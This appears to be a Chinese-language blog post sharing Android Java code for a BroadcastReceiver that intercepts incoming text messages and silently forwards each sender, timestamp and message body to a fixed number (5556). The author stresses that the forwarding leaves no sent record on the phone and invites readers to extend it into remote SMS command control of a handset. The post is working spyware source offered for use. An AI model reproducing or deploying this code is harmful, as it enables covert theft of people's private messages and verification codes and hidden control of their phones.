通過這些代碼也可以對遠程手機實現短信控制。有興趣的可以自己改一下,說一下簡單的原理,要實現控制的話,必須得走一個固定的號碼,固定的格式,然后通過得到此號碼的內容,然后通過固定的內容,就可以了解需要做什么,再執行相應的代碼,即可!代碼很簡單了!
在使用過程中的需要添加如下權限:
<uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>
<uses-permission android:name="android.permission.READ_SMS"></uses-permission>
<uses-permission android:name="android.permission.SEND_SMS"></uses-permission>
我測試的時候是發送出去之后,手機上沒有發送記錄,當然了,你的手機肯定會留下扣費的記錄的,因此也不是完全沒有發送記錄!因為這個是通過手機號發送的!
代碼如下:
import java.text.SimpleDateFormat;
import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;public class SMS extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {// TODO Auto-generated method stub// 監聽短信廣播if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) {Object[] pdus = (Object[]) intent.getExtras().get("pdus");// 獲取短信內容for (Object pdu : pdus) {byte[] data = (byte[]) pdu;SmsMessage message = SmsMessage.createFromPdu(data);// 使用pdu格式的短信數據生成短信對象String sender = message.getOriginatingAddress();// 獲取短信的發送者String content = message.getMessageBody();// 獲取短信的內容Date date = new Date(message.getTimestampMillis());SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");String sendtime = format.format(date);SmsManager manager = SmsManager.getDefault();manager.sendTextMessage("5556", null, "發送人:" + sender+ "-----發送時間:" + sendtime + "----內容:" + content, null,null);// 把攔截到的短信發送到你指定的手機,此處為5556 }}}
}